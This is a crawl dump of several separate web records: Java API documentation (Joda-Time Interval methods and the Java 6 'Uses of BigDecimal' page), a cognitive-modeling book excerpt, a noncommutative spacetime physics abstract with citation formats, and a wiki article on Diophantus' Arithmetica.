toDuration()`\nGets the duration of this time interval.\n\nThe duration is equal to the end millis minus the start millis.\n\nSpecified by:\n`toDuration` in interface `ReadableInterval`\nReturns:\nthe duration of the time interval\nThrows:\n`ArithmeticException` - if the duration exceeds the capacity of a long\n• #### toPeriod\n\n`public Period toPeriod()`\nConverts the duration of the interval to a `Period` using the All period type.\n\nThis method should be used to extract the field values describing the difference between the start and end instants.\n\nSpecified by:\n`toPeriod` in interface `ReadableInterval`\nReturns:\na time period derived from the interval\n• #### toPeriod\n\n`public Period toPeriod(PeriodType type)`\nConverts the duration of the interval to a `Period` using the specified period type.\n\nThis method should be used to extract the field values describing the difference between the start and end instants.\n\nSpecified by:\n`toPeriod` in interface `ReadableInterval`\nParameters:\n`type` - the requested type of the duration, null means AllType\nReturns:\na time period derived from the interval\n• #### equals\n\n`public boolean equals(Object readableInterval)`\nCompares this object with the specified object for equality based on start and end millis plus the chronology. All ReadableInterval instances are accepted.\n\nTo compare the duration of two time intervals, use `toDuration()` to get the durations and compare those.\n\nSpecified by:\n`equals` in interface `ReadableInterval`\nOverrides:\n`equals` in class `Object`\nParameters:\n`readableInterval` - a readable interval to check against\nReturns:\ntrue if the intervals are equal comparing the start millis, end millis and chronology\n• #### hashCode\n\n`public int hashCode()`\nHashcode compatible with equals method.\nSpecified by:\n`hashCode` in interface `ReadableInterval`\nOverrides:\n`hashCode` in class `Object`\nReturns:\nsuitable hashcode\n• #### toString\n\n`public String toString()`\nOutput a string in ISO8601 interval format.\n\nFrom version 2.1, the string includes the time zone offset.\n\nSpecified by:\n`toString` in interface `ReadableInterval`\nOverrides:\n`toString` in class `Object`\nReturns:\nre-parsable string (in the default zone)"
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https://bbs.huihoo.com/java/javase/6/api/java/math/class-use/BigDecimal.html | [
"Java™ Platform\nStandard Ed. 6\n\n## Uses of Classjava.math.BigDecimal\n\nPackages that use BigDecimal\njava.math Provides classes for performing arbitrary-precision integer arithmetic (BigInteger) and arbitrary-precision decimal arithmetic (BigDecimal).\njava.sql Provides the API for accessing and processing data stored in a data source (usually a relational database) using the JavaTM programming language.\njava.util Contains the collections framework, legacy collection classes, event model, date and time facilities, internationalization, and miscellaneous utility classes (a string tokenizer, a random-number generator, and a bit array).\njavax.management.openmbean Provides the open data types and Open MBean descriptor classes.\njavax.sql Provides the API for server side data source access and processing from the JavaTM programming language.\njavax.sql.rowset Standard interfaces and base classes for JDBC `RowSet` implementations.\njavax.sql.rowset.serial Provides utility classes to allow serializable mappings between SQL types and data types in the Java programming language.\njavax.xml.bind Provides a runtime binding framework for client applications including unmarshalling, marshalling, and validation capabilities.\njavax.xml.datatype XML/Java Type Mappings.\norg.omg.CORBA Provides the mapping of the OMG CORBA APIs to the JavaTM programming language, including the class ORB, which is implemented so that a programmer can use it as a fully-functional Object Request Broker (ORB).\norg.omg.CORBA.portable Provides a portability layer, that is, a set of ORB APIs that makes it possible for code generated by one vendor to run on another vendor's ORB.\n\nUses of BigDecimal in java.math\n\nFields in java.math declared as BigDecimal\n`static BigDecimal` `BigDecimal.ONE`\nThe value 1, with a scale of 0.\n`static BigDecimal` `BigDecimal.TEN`\nThe value 10, with a scale of 0.\n`static BigDecimal` `BigDecimal.ZERO`\nThe value 0, with a scale of 0.\n\nMethods in java.math that return BigDecimal\n` BigDecimal` `BigDecimal.abs()`\nReturns a BigDecimal whose value is the absolute value of this BigDecimal, and whose scale is this.scale().\n` BigDecimal` `BigDecimal.abs(MathContext mc)`\nReturns a BigDecimal whose value is the absolute value of this BigDecimal, with rounding according to the context settings.\n` BigDecimal` `BigDecimal.add(BigDecimal augend)`\nReturns a BigDecimal whose value is (this + augend), and whose scale is max(this.scale(), augend.scale()).\n` BigDecimal` ```BigDecimal.add(BigDecimal augend, MathContext mc)```\nReturns a BigDecimal whose value is (this + augend), with rounding according to the context settings.\n` BigDecimal` `BigDecimal.divide(BigDecimal divisor)`\nReturns a BigDecimal whose value is (this / divisor), and whose preferred scale is (this.scale() - divisor.scale()); if the exact quotient cannot be represented (because it has a non-terminating decimal expansion) an ArithmeticException is thrown.\n` BigDecimal` ```BigDecimal.divide(BigDecimal divisor, int roundingMode)```\nReturns a BigDecimal whose value is (this / divisor), and whose scale is this.scale().\n` BigDecimal` ```BigDecimal.divide(BigDecimal divisor, int scale, int roundingMode)```\nReturns a BigDecimal whose value is (this / divisor), and whose scale is as specified.\n` BigDecimal` ```BigDecimal.divide(BigDecimal divisor, int scale, RoundingMode roundingMode)```\nReturns a BigDecimal whose value is (this / divisor), and whose scale is as specified.\n` BigDecimal` ```BigDecimal.divide(BigDecimal divisor, MathContext mc)```\nReturns a BigDecimal whose value is (this / divisor), with rounding according to the context settings.\n` BigDecimal` ```BigDecimal.divide(BigDecimal divisor, RoundingMode roundingMode)```\nReturns a BigDecimal whose value is (this / divisor), and whose scale is this.scale().\n` BigDecimal[]` `BigDecimal.divideAndRemainder(BigDecimal divisor)`\nReturns a two-element BigDecimal array containing the result of divideToIntegralValue followed by the result of remainder on the two operands.\n` BigDecimal[]` ```BigDecimal.divideAndRemainder(BigDecimal divisor, MathContext mc)```\nReturns a two-element BigDecimal array containing the result of divideToIntegralValue followed by the result of remainder on the two operands calculated with rounding according to the context settings.\n` BigDecimal` `BigDecimal.divideToIntegralValue(BigDecimal divisor)`\nReturns a BigDecimal whose value is the integer part of the quotient (this / divisor) rounded down.\n` BigDecimal` ```BigDecimal.divideToIntegralValue(BigDecimal divisor, MathContext mc)```\nReturns a BigDecimal whose value is the integer part of (this / divisor).\n` BigDecimal` `BigDecimal.max(BigDecimal val)`\nReturns the maximum of this BigDecimal and val.\n` BigDecimal` `BigDecimal.min(BigDecimal val)`\nReturns the minimum of this BigDecimal and val.\n` BigDecimal` `BigDecimal.movePointLeft(int n)`\nReturns a BigDecimal which is equivalent to this one with the decimal point moved n places to the left.\n` BigDecimal` `BigDecimal.movePointRight(int n)`\nReturns a BigDecimal which is equivalent to this one with the decimal point moved n places to the right.\n` BigDecimal` `BigDecimal.multiply(BigDecimal multiplicand)`\nReturns a BigDecimal whose value is (this × multiplicand), and whose scale is (this.scale() + multiplicand.scale()).\n` BigDecimal` ```BigDecimal.multiply(BigDecimal multiplicand, MathContext mc)```\nReturns a BigDecimal whose value is (this × multiplicand), with rounding according to the context settings.\n` BigDecimal` `BigDecimal.negate()`\nReturns a BigDecimal whose value is (-this), and whose scale is this.scale().\n` BigDecimal` `BigDecimal.negate(MathContext mc)`\nReturns a BigDecimal whose value is (-this), with rounding according to the context settings.\n` BigDecimal` `BigDecimal.plus()`\nReturns a BigDecimal whose value is (+this), and whose scale is this.scale().\n` BigDecimal` `BigDecimal.plus(MathContext mc)`\nReturns a BigDecimal whose value is (+this), with rounding according to the context settings.\n` BigDecimal` `BigDecimal.pow(int n)`\nReturns a BigDecimal whose value is (thisn), The power is computed exactly, to unlimited precision.\n` BigDecimal` ```BigDecimal.pow(int n, MathContext mc)```\nReturns a BigDecimal whose value is (thisn).\n` BigDecimal` `BigDecimal.remainder(BigDecimal divisor)`\nReturns a BigDecimal whose value is (this % divisor).\n` BigDecimal` ```BigDecimal.remainder(BigDecimal divisor, MathContext mc)```\nReturns a BigDecimal whose value is (this % divisor), with rounding according to the context settings.\n` BigDecimal` `BigDecimal.round(MathContext mc)`\nReturns a BigDecimal rounded according to the MathContext settings.\n` BigDecimal` `BigDecimal.scaleByPowerOfTen(int n)`\nReturns a BigDecimal whose numerical value is equal to (this * 10n).\n` BigDecimal` `BigDecimal.setScale(int newScale)`\nReturns a BigDecimal whose scale is the specified value, and whose value is numerically equal to this BigDecimal's.\n` BigDecimal` ```BigDecimal.setScale(int newScale, int roundingMode)```\nReturns a BigDecimal whose scale is the specified value, and whose unscaled value is determined by multiplying or dividing this BigDecimal's unscaled value by the appropriate power of ten to maintain its overall value.\n` BigDecimal` ```BigDecimal.setScale(int newScale, RoundingMode roundingMode)```\nReturns a BigDecimal whose scale is the specified value, and whose unscaled value is determined by multiplying or dividing this BigDecimal's unscaled value by the appropriate power of ten to maintain its overall value.\n` BigDecimal` `BigDecimal.stripTrailingZeros()`\nReturns a BigDecimal which is numerically equal to this one but with any trailing zeros removed from the representation.\n` BigDecimal` `BigDecimal.subtract(BigDecimal subtrahend)`\nReturns a BigDecimal whose value is (this - subtrahend), and whose scale is max(this.scale(), subtrahend.scale()).\n` BigDecimal` ```BigDecimal.subtract(BigDecimal subtrahend, MathContext mc)```\nReturns a BigDecimal whose value is (this - subtrahend), with rounding according to the context settings.\n` BigDecimal` `BigDecimal.ulp()`\nReturns the size of an ulp, a unit in the last place, of this BigDecimal.\n`static BigDecimal` `BigDecimal.valueOf(double val)`\nTranslates a double into a BigDecimal, using the double's canonical string representation provided by the `Double.toString(double)` method.\n`static BigDecimal` `BigDecimal.valueOf(long val)`\nTranslates a long value into a BigDecimal with a scale of zero.\n`static BigDecimal` ```BigDecimal.valueOf(long unscaledVal, int scale)```\nTranslates a long unscaled value and an int scale into a BigDecimal.\n\nMethods in java.math with parameters of type BigDecimal\n` BigDecimal` `BigDecimal.add(BigDecimal augend)`\nReturns a BigDecimal whose value is (this + augend), and whose scale is max(this.scale(), augend.scale()).\n` BigDecimal` ```BigDecimal.add(BigDecimal augend, MathContext mc)```\nReturns a BigDecimal whose value is (this + augend), with rounding according to the context settings.\n` int` `BigDecimal.compareTo(BigDecimal val)`\nCompares this BigDecimal with the specified BigDecimal.\n` BigDecimal` `BigDecimal.divide(BigDecimal divisor)`\nReturns a BigDecimal whose value is (this / divisor), and whose preferred scale is (this.scale() - divisor.scale()); if the exact quotient cannot be represented (because it has a non-terminating decimal expansion) an ArithmeticException is thrown.\n` BigDecimal` ```BigDecimal.divide(BigDecimal divisor, int roundingMode)```\nReturns a BigDecimal whose value is (this / divisor), and whose scale is this.scale().\n` BigDecimal` ```BigDecimal.divide(BigDecimal divisor, int scale, int roundingMode)```\nReturns a BigDecimal whose value is (this / divisor), and whose scale is as specified.\n` BigDecimal` ```BigDecimal.divide(BigDecimal divisor, int scale, RoundingMode roundingMode)```\nReturns a BigDecimal whose value is (this / divisor), and whose scale is as specified.\n` BigDecimal` ```BigDecimal.divide(BigDecimal divisor, MathContext mc)```\nReturns a BigDecimal whose value is (this / divisor), with rounding according to the context settings.\n` BigDecimal` ```BigDecimal.divide(BigDecimal divisor, RoundingMode roundingMode)```\nReturns a BigDecimal whose value is (this / divisor), and whose scale is this.scale().\n` BigDecimal[]` `BigDecimal.divideAndRemainder(BigDecimal divisor)`\nReturns a two-element BigDecimal array containing the result of divideToIntegralValue followed by the result of remainder on the two operands.\n` BigDecimal[]` ```BigDecimal.divideAndRemainder(BigDecimal divisor, MathContext mc)```\nReturns a two-element BigDecimal array containing the result of divideToIntegralValue followed by the result of remainder on the two operands calculated with rounding according to the context settings.\n` BigDecimal` `BigDecimal.divideToIntegralValue(BigDecimal divisor)`\nReturns a BigDecimal whose value is the integer part of the quotient (this / divisor) rounded down.\n` BigDecimal` ```BigDecimal.divideToIntegralValue(BigDecimal divisor, MathContext mc)```\nReturns a BigDecimal whose value is the integer part of (this / divisor).\n` BigDecimal` `BigDecimal.max(BigDecimal val)`\nReturns the maximum of this BigDecimal and val.\n` BigDecimal` `BigDecimal.min(BigDecimal val)`\nReturns the minimum of this BigDecimal and val.\n` BigDecimal` `BigDecimal.multiply(BigDecimal multiplicand)`\nReturns a BigDecimal whose value is (this × multiplicand), and whose scale is (this.scale() + multiplicand.scale()).\n` BigDecimal` ```BigDecimal.multiply(BigDecimal multiplicand, MathContext mc)```\nReturns a BigDecimal whose value is (this × multiplicand), with rounding according to the context settings.\n` BigDecimal` `BigDecimal.remainder(BigDecimal divisor)`\nReturns a BigDecimal whose value is (this % divisor).\n` BigDecimal` ```BigDecimal.remainder(BigDecimal divisor, MathContext mc)```\nReturns a BigDecimal whose value is (this % divisor), with rounding according to the context settings.\n` BigDecimal` `BigDecimal.subtract(BigDecimal subtrahend)`\nReturns a BigDecimal whose value is (this - subtrahend), and whose scale is max(this.scale(), subtrahend.scale()).\n` BigDecimal` ```BigDecimal.subtract(BigDecimal subtrahend, MathContext mc)```\nReturns a BigDecimal whose value is (this - subtrahend), with rounding according to the context settings.\n\nUses of BigDecimal in java.sql\n\nMethods in java.sql that return BigDecimal\n` BigDecimal` `CallableStatement.getBigDecimal(int parameterIndex)`\nRetrieves the value of the designated JDBC `NUMERIC` parameter as a `java.math.BigDecimal` object with as many digits to the right of the decimal point as the value contains.\n` BigDecimal` `ResultSet.getBigDecimal(int columnIndex)`\nRetrieves the value of the designated column in the current row of this `ResultSet` object as a `java.math.BigDecimal` with full precision.\n` BigDecimal` ```CallableStatement.getBigDecimal(int parameterIndex, int scale)```\nDeprecated. use `getBigDecimal(int parameterIndex)` or `getBigDecimal(String parameterName)`\n` BigDecimal` ```ResultSet.getBigDecimal(int columnIndex, int scale)```\nDeprecated.\n` BigDecimal` `CallableStatement.getBigDecimal(String parameterName)`\nRetrieves the value of a JDBC `NUMERIC` parameter as a `java.math.BigDecimal` object with as many digits to the right of the decimal point as the value contains.\n` BigDecimal` `ResultSet.getBigDecimal(String columnLabel)`\nRetrieves the value of the designated column in the current row of this `ResultSet` object as a `java.math.BigDecimal` with full precision.\n` BigDecimal` ```ResultSet.getBigDecimal(String columnLabel, int scale)```\nDeprecated.\n` BigDecimal` `SQLInput.readBigDecimal()`\nReads the next attribute in the stream and returns it as a `java.math.BigDecimal` object in the Java programming language.\n\nMethods in java.sql with parameters of type BigDecimal\n` void` ```PreparedStatement.setBigDecimal(int parameterIndex, BigDecimal x)```\nSets the designated parameter to the given `java.math.BigDecimal` value.\n` void` ```CallableStatement.setBigDecimal(String parameterName, BigDecimal x)```\nSets the designated parameter to the given `java.math.BigDecimal` value.\n` void` ```ResultSet.updateBigDecimal(int columnIndex, BigDecimal x)```\nUpdates the designated column with a `java.math.BigDecimal` value.\n` void` ```ResultSet.updateBigDecimal(String columnLabel, BigDecimal x)```\nUpdates the designated column with a `java.sql.BigDecimal` value.\n` void` `SQLOutput.writeBigDecimal(BigDecimal x)`\nWrites the next attribute to the stream as a java.math.BigDecimal object.\n\nUses of BigDecimal in java.util\n\nMethods in java.util that return BigDecimal\n` BigDecimal` `Scanner.nextBigDecimal()`\nScans the next token of the input as a `BigDecimal`.\n\nUses of BigDecimal in javax.management.openmbean\n\nFields in javax.management.openmbean with type parameters of type BigDecimal\n`static SimpleType<BigDecimal>` `SimpleType.BIGDECIMAL`\nThe `SimpleType` instance describing values whose Java class name is `java.math.BigDecimal`.\n\nUses of BigDecimal in javax.sql\n\nMethods in javax.sql with parameters of type BigDecimal\n` void` ```RowSet.setBigDecimal(int parameterIndex, BigDecimal x)```\nSets the designated parameter in this `RowSet` object's command to the given `java.math.BigDeciaml` value.\n` void` ```RowSet.setBigDecimal(String parameterName, BigDecimal x)```\nSets the designated parameter to the given `java.math.BigDecimal` value.\n\nUses of BigDecimal in javax.sql.rowset\n\nMethods in javax.sql.rowset with parameters of type BigDecimal\n` void` ```BaseRowSet.setBigDecimal(int parameterIndex, BigDecimal x)```\nSets the designated parameter to the given `java.lang.BigDecimal` value.\n` void` ```BaseRowSet.setBigDecimal(String parameterName, BigDecimal x)```\nSets the designated parameter to the given `java.math.BigDecimal` value.\n\nUses of BigDecimal in javax.sql.rowset.serial\n\nMethods in javax.sql.rowset.serial that return BigDecimal\n` BigDecimal` `SQLInputImpl.readBigDecimal()`\nRetrieves the next attribute in this `SQLInputImpl` object as a `java.math.BigDecimal`.\n\nMethods in javax.sql.rowset.serial with parameters of type BigDecimal\n` void` `SQLOutputImpl.writeBigDecimal(BigDecimal x)`\nWrites a `java.math.BigDecimal` object in the Java programming language to this `SQLOutputImpl` object.\n\nUses of BigDecimal in javax.xml.bind\n\nMethods in javax.xml.bind that return BigDecimal\n` BigDecimal` `DatatypeConverterInterface.parseDecimal(String lexicalXSDDecimal)`\nConverts the string argument into a BigDecimal value.\n`static BigDecimal` `DatatypeConverter.parseDecimal(String lexicalXSDDecimal)`\nConverts the string argument into a BigDecimal value.\n\nMethods in javax.xml.bind with parameters of type BigDecimal\n` String` `DatatypeConverterInterface.printDecimal(BigDecimal val)`\nConverts a BigDecimal value into a string.\n`static String` `DatatypeConverter.printDecimal(BigDecimal val)`\nConverts a BigDecimal value into a string.\n\nUses of BigDecimal in javax.xml.datatype\n\nMethods in javax.xml.datatype that return BigDecimal\n`abstract BigDecimal` `XMLGregorianCalendar.getFractionalSecond()`\nReturn fractional seconds.\n\nMethods in javax.xml.datatype with parameters of type BigDecimal\n`abstract Duration` `Duration.multiply(BigDecimal factor)`\nComputes a new duration whose value is `factor` times longer than the value of this duration.\n`abstract Duration` ```DatatypeFactory.newDuration(boolean isPositive, BigInteger years, BigInteger months, BigInteger days, BigInteger hours, BigInteger minutes, BigDecimal seconds)```\nObtain a new instance of a `Duration` specifying the `Duration` as isPositive, years, months, days, hours, minutes, seconds.\n`abstract XMLGregorianCalendar` ```DatatypeFactory.newXMLGregorianCalendar(BigInteger year, int month, int day, int hour, int minute, int second, BigDecimal fractionalSecond, int timezone)```\nConstructor allowing for complete value spaces allowed by W3C XML Schema 1.0 recommendation for xsd:dateTime and related builtin datatypes.\n` XMLGregorianCalendar` ```DatatypeFactory.newXMLGregorianCalendarTime(int hours, int minutes, int seconds, BigDecimal fractionalSecond, int timezone)```\nCreate a Java instance of XML Schema builtin datatype time.\n`abstract void` `XMLGregorianCalendar.setFractionalSecond(BigDecimal fractional)`\nSet fractional seconds.\n` void` ```XMLGregorianCalendar.setTime(int hour, int minute, int second, BigDecimal fractional)```\nSet time as one unit, including the optional infinite precision fractional seconds.\n\nUses of BigDecimal in org.omg.CORBA\n\nFields in org.omg.CORBA declared as BigDecimal\n` BigDecimal` `FixedHolder.value`\nThe value held by the FixedHolder\n\nMethods in org.omg.CORBA that return BigDecimal\n` BigDecimal` `Any.extract_fixed()`\nExtracts the `java.math.BigDecimal` object in this `Any` object's `value` field.\n\nMethods in org.omg.CORBA with parameters of type BigDecimal\n` void` `Any.insert_fixed(BigDecimal value)`\nThrows an `org.omg.CORBA.NO_IMPLEMENT` exception.\n` void` ```Any.insert_fixed(BigDecimal value, TypeCode type)```\nThrows an `org.omg.CORBA.NO_IMPLEMENT` exception.\n\nConstructors in org.omg.CORBA with parameters of type BigDecimal\n`FixedHolder(BigDecimal initial)`\nConstruct the FixedHolder and initialize it with the given value.\n\nUses of BigDecimal in org.omg.CORBA.portable\n\nMethods in org.omg.CORBA.portable that return BigDecimal\n` BigDecimal` `InputStream.read_fixed()`\n\nMethods in org.omg.CORBA.portable with parameters of type BigDecimal\n` void` `OutputStream.write_fixed(BigDecimal value)`\nWrites a BigDecimal number.\n\nJava™ Platform\nStandard Ed. 6\n\nSubmit a bug or feature\nFor further API reference and developer documentation, see Java SE Developer Documentation. That documentation contains more detailed, developer-targeted descriptions, with conceptual overviews, definitions of terms, workarounds, and working code examples."
] | [
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.52190197,"math_prob":0.9734493,"size":19415,"snap":"2020-45-2020-50","text_gpt3_token_len":3960,"char_repetition_ratio":0.29823297,"word_repetition_ratio":0.52680373,"special_character_ratio":0.19078033,"punctuation_ratio":0.16061677,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9982613,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-10-28T03:12:30Z\",\"WARC-Record-ID\":\"<urn:uuid:be6cd326-20f8-40a2-b628-1362502f68dc>\",\"Content-Length\":\"90978\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:1db1b622-ca67-4e66-863b-db6caebb913b>\",\"WARC-Concurrent-To\":\"<urn:uuid:0936591e-233d-4d5d-9f2a-22a94e006683>\",\"WARC-IP-Address\":\"172.67.168.31\",\"WARC-Target-URI\":\"https://bbs.huihoo.com/java/javase/6/api/java/math/class-use/BigDecimal.html\",\"WARC-Payload-Digest\":\"sha1:ITW27CRPMZUJEQXPSQS7EREQIDV4E56K\",\"WARC-Block-Digest\":\"sha1:HYHGYUAZ6JLEH6HLJAPS4UEMWIG5ONJS\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-45/CC-MAIN-2020-45_segments_1603107896048.53_warc_CC-MAIN-20201028014458-20201028044458-00320.warc.gz\"}"} |
https://sk.sagepub.com/books/computational-modeling-in-cognition/n7.xml | [
"• Summary\n• Contents\n• Subject index\n\nAn accessible introduction to the principles of computational and mathematical modeling in psychology and cognitive science\n\nThis practical and readable work provides students and researchers, who are new to cognitive modeling, with the background and core knowledge they need to interpret published reports, and develop and apply models of their own. The book is structured to help readers understand the logic of individual component techniques and their relationships to each other.\n\n### Chapter 7: Drawing It All Together: Two Examples\n\n##### Drawing It All Together: Two Examples\nDrawing it all together: Two examples\n\nThis chapter draws together the entire material presented so far in two detailed examples. The first example involves the WITNESS model of eyewitness identification (Clark, 2003) and in particular its application to the “verbal overshadowing effect” reported by Clare and Lewandowsky (2004). The second example involves a head-to-head comparison of some models of categorization, thereby illustrating the concepts of model selection developed in Chapter 5.\n\nThese two examples illustrate several important contrasts: First, WITNESS is based on a stochastic simulation involving a large number of replications, whereas the categorization models are based on analytic solutions and hence provide predictions that are not subject to sampling variability. Second, WITNESS considers the data at the aggregate level ...\n\n•",
null,
"•",
null,
"•",
null,
""
] | [
null,
"https://sk.sagepub.com/images/shared/icons/bullet.svg",
null,
"https://sk.sagepub.com/images/shared/icons/bullet.svg",
null,
"https://sk.sagepub.com/images/shared/icons/bullet.svg",
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https://pure.fujita-hu.ac.jp/en/publications/noncommutative-spacetime-realized-in-adssubn1sub-space-nonlocal-f | [
"# Noncommutative spacetime realized in AdSn+1 space: Nonlocal field theory out of noncommutative spacetime\n\nS. Naka, H. Toyoda, T. Takanashi, E. Umezawa\n\nResearch output: Contribution to journalArticle\n\n### Abstract\n\nIn κ-Minkowski spacetime, the coordinates are Lie algebraic elements such that time and space coordinates do not commute, whereas space coordinates commute with each other. The noncommutativity is proportional to a Planck-length-scale constant κ-1, which is a universal constant other than the velocity of light, under the ?κ-PoincarÉ transformation. In this sense, the spacetime has a structure called \"doubly special relativity.\" Such a noncommutative structure is known to be realized by SO(1, 4) generators in 4-dimensional de Sitter space. In this paper, we try to construct a noncommutative spacetime having a commutative n-dimensional Minkowski spacetime based on AdSn+1 space with SO(2, n) symmetry.We also study an invariant wave equation corresponding to the first Casimir invariant of this symmetry as a nonlocal field equation expected to yield finite loop amplitudes.\n\nOriginal language English 043B03 Progress of Theoretical and Experimental Physics 2014 4 https://doi.org/10.1093/ptep/ptu022 Published - 04-2014\n\nsymmetry\nwave equations\nrelativity\ngenerators\n\n### All Science Journal Classification (ASJC) codes\n\n• Physics and Astronomy(all)\n\n### Cite this\n\n@article{6e128074f9114dccbfa7133d0f2e7606,\ntitle = \"Noncommutative spacetime realized in AdSn+1 space: Nonlocal field theory out of noncommutative spacetime\",\nabstract = \"In κ-Minkowski spacetime, the coordinates are Lie algebraic elements such that time and space coordinates do not commute, whereas space coordinates commute with each other. The noncommutativity is proportional to a Planck-length-scale constant κ-1, which is a universal constant other than the velocity of light, under the ?κ-Poincar{\\'E} transformation. In this sense, the spacetime has a structure called {\"}doubly special relativity.{\"} Such a noncommutative structure is known to be realized by SO(1, 4) generators in 4-dimensional de Sitter space. In this paper, we try to construct a noncommutative spacetime having a commutative n-dimensional Minkowski spacetime based on AdSn+1 space with SO(2, n) symmetry.We also study an invariant wave equation corresponding to the first Casimir invariant of this symmetry as a nonlocal field equation expected to yield finite loop amplitudes.\",\nauthor = \"S. Naka and H. Toyoda and T. Takanashi and E. Umezawa\",\nyear = \"2014\",\nmonth = \"4\",\ndoi = \"10.1093/ptep/ptu022\",\nlanguage = \"English\",\nvolume = \"2014\",\njournal = \"Progress of Theoretical and Experimental Physics\",\nissn = \"2050-3911\",\npublisher = \"Oxford University Press\",\nnumber = \"4\",\n\n}\n\nNoncommutative spacetime realized in AdSn+1 space : Nonlocal field theory out of noncommutative spacetime. / Naka, S.; Toyoda, H.; Takanashi, T.; Umezawa, E.\n\nIn: Progress of Theoretical and Experimental Physics, Vol. 2014, No. 4, 043B03, 04.2014.\n\nResearch output: Contribution to journalArticle\n\nTY - JOUR\n\nT1 - Noncommutative spacetime realized in AdSn+1 space\n\nT2 - Nonlocal field theory out of noncommutative spacetime\n\nAU - Naka, S.\n\nAU - Toyoda, H.\n\nAU - Takanashi, T.\n\nAU - Umezawa, E.\n\nPY - 2014/4\n\nY1 - 2014/4\n\nN2 - In κ-Minkowski spacetime, the coordinates are Lie algebraic elements such that time and space coordinates do not commute, whereas space coordinates commute with each other. The noncommutativity is proportional to a Planck-length-scale constant κ-1, which is a universal constant other than the velocity of light, under the ?κ-PoincarÉ transformation. In this sense, the spacetime has a structure called \"doubly special relativity.\" Such a noncommutative structure is known to be realized by SO(1, 4) generators in 4-dimensional de Sitter space. In this paper, we try to construct a noncommutative spacetime having a commutative n-dimensional Minkowski spacetime based on AdSn+1 space with SO(2, n) symmetry.We also study an invariant wave equation corresponding to the first Casimir invariant of this symmetry as a nonlocal field equation expected to yield finite loop amplitudes.\n\nAB - In κ-Minkowski spacetime, the coordinates are Lie algebraic elements such that time and space coordinates do not commute, whereas space coordinates commute with each other. The noncommutativity is proportional to a Planck-length-scale constant κ-1, which is a universal constant other than the velocity of light, under the ?κ-PoincarÉ transformation. In this sense, the spacetime has a structure called \"doubly special relativity.\" Such a noncommutative structure is known to be realized by SO(1, 4) generators in 4-dimensional de Sitter space. In this paper, we try to construct a noncommutative spacetime having a commutative n-dimensional Minkowski spacetime based on AdSn+1 space with SO(2, n) symmetry.We also study an invariant wave equation corresponding to the first Casimir invariant of this symmetry as a nonlocal field equation expected to yield finite loop amplitudes.\n\nUR - http://www.scopus.com/inward/record.url?scp=84898487913&partnerID=8YFLogxK\n\nUR - http://www.scopus.com/inward/citedby.url?scp=84898487913&partnerID=8YFLogxK\n\nU2 - 10.1093/ptep/ptu022\n\nDO - 10.1093/ptep/ptu022\n\nM3 - Article\n\nAN - SCOPUS:84898487913\n\nVL - 2014\n\nJO - Progress of Theoretical and Experimental Physics\n\nJF - Progress of Theoretical and Experimental Physics\n\nSN - 2050-3911\n\nIS - 4\n\nM1 - 043B03\n\nER -"
] | [
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https://en.formulasearchengine.com/wiki/Arithmetica | [
"# Arithmetica\n\n{{ safesubst:#invoke:Unsubst||\\$N=Refimprove |date=__DATE__ |\\$B= {{#invoke:Message box|ambox}} }} Template:Italictitle\n\nArithmetica (Template:Lang-grc-gre) is an Ancient Greek text on mathematics written by the mathematician Diophantus in the 3rd century AD. It is a collection of 130 algebraic problems giving numerical solutions of determinate equations (those with a unique solution) and indeterminate equations.\n\nEquations in the book are called Diophantine equations. The method for solving these equations is known as Diophantine analysis. Most of the Arithmetica problems lead to quadratic equations. It was these equations which inspired Pierre de Fermat to propose Fermat's Last Theorem, scrawled in the margins of Fermat's copy of 'Arithmetica', which states that the equation $x^{n}+y^{n}=z^{n}$",
null,
", where $x$",
null,
", $y$",
null,
", $z$",
null,
"and $n$",
null,
"are non-zero integers, has no solution with $n$",
null,
"greater than 2.\n\nIn Book 3, Diophantus solves problems of finding values which make two linear expressions simultaneously into squares or cubes. In book 4, he finds rational powers between given numbers. He also noticed that numbers of the form $4n+3$",
null,
"cannot be the sum of two squares. Diophantus also appears to know that every number can be written as the sum of four squares. If he did know this result (in the sense of having proved it as opposed to merely conjectured it), his doing so would be truly remarkable: even Fermat, who stated the result, failed to provide a proof of it and it was not settled until Joseph Louis Lagrange proved it using results due to Leonhard Euler.\n\nArithmetica was originally written in thirteen books, but the Greek manuscripts that survived to the present contain no more than six books. In 1968, Fuat Sezgin found four previously unknown books of Arithmetica at the shrine of Imam Rezā in the holy Islamic city of Mashhad in northeastern Iran. The four books are thought to have been translated from Greek to Arabic by Qusta ibn Luqa (820–912). Norbert Schappacher has written:\n\n[The four missing books] resurfaced around 1971 in the Astan Quds Library in Meshed (Iran) in a copy from 1198 AD. It was not catalogued under the name of Diophantus (but under that of Qust¸a ibn Luqa) because the librarian was apparently not able to read the main line of the cover page where Diophantus’s name appears in geometric Kufi calligraphy.\n\nArithmetica became known to mathematicians in the Islamic world in the tenth century when Abu'l-Wefa translated it into Arabic."
] | [
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"https://wikimedia.org/api/rest_v1/media/math/render/svg/c34dcc46ebfb58e1b91a6c0caa1470e76139543a",
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"https://wikimedia.org/api/rest_v1/media/math/render/svg/87f9e315fd7e2ba406057a97300593c4802b53e4",
null,
"https://wikimedia.org/api/rest_v1/media/math/render/svg/b8a6208ec717213d4317e666f1ae872e00620a0d",
null,
"https://wikimedia.org/api/rest_v1/media/math/render/svg/bf368e72c009decd9b6686ee84a375632e11de98",
null,
"https://wikimedia.org/api/rest_v1/media/math/render/svg/a601995d55609f2d9f5e233e36fbe9ea26011b3b",
null,
"https://wikimedia.org/api/rest_v1/media/math/render/svg/a601995d55609f2d9f5e233e36fbe9ea26011b3b",
null,
"https://wikimedia.org/api/rest_v1/media/math/render/svg/8b64683d9a6ebd4e5644740d0bbe76ffa42e90ef",
null
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https://pos.sissa.it/282/126/ | [
"",
null,
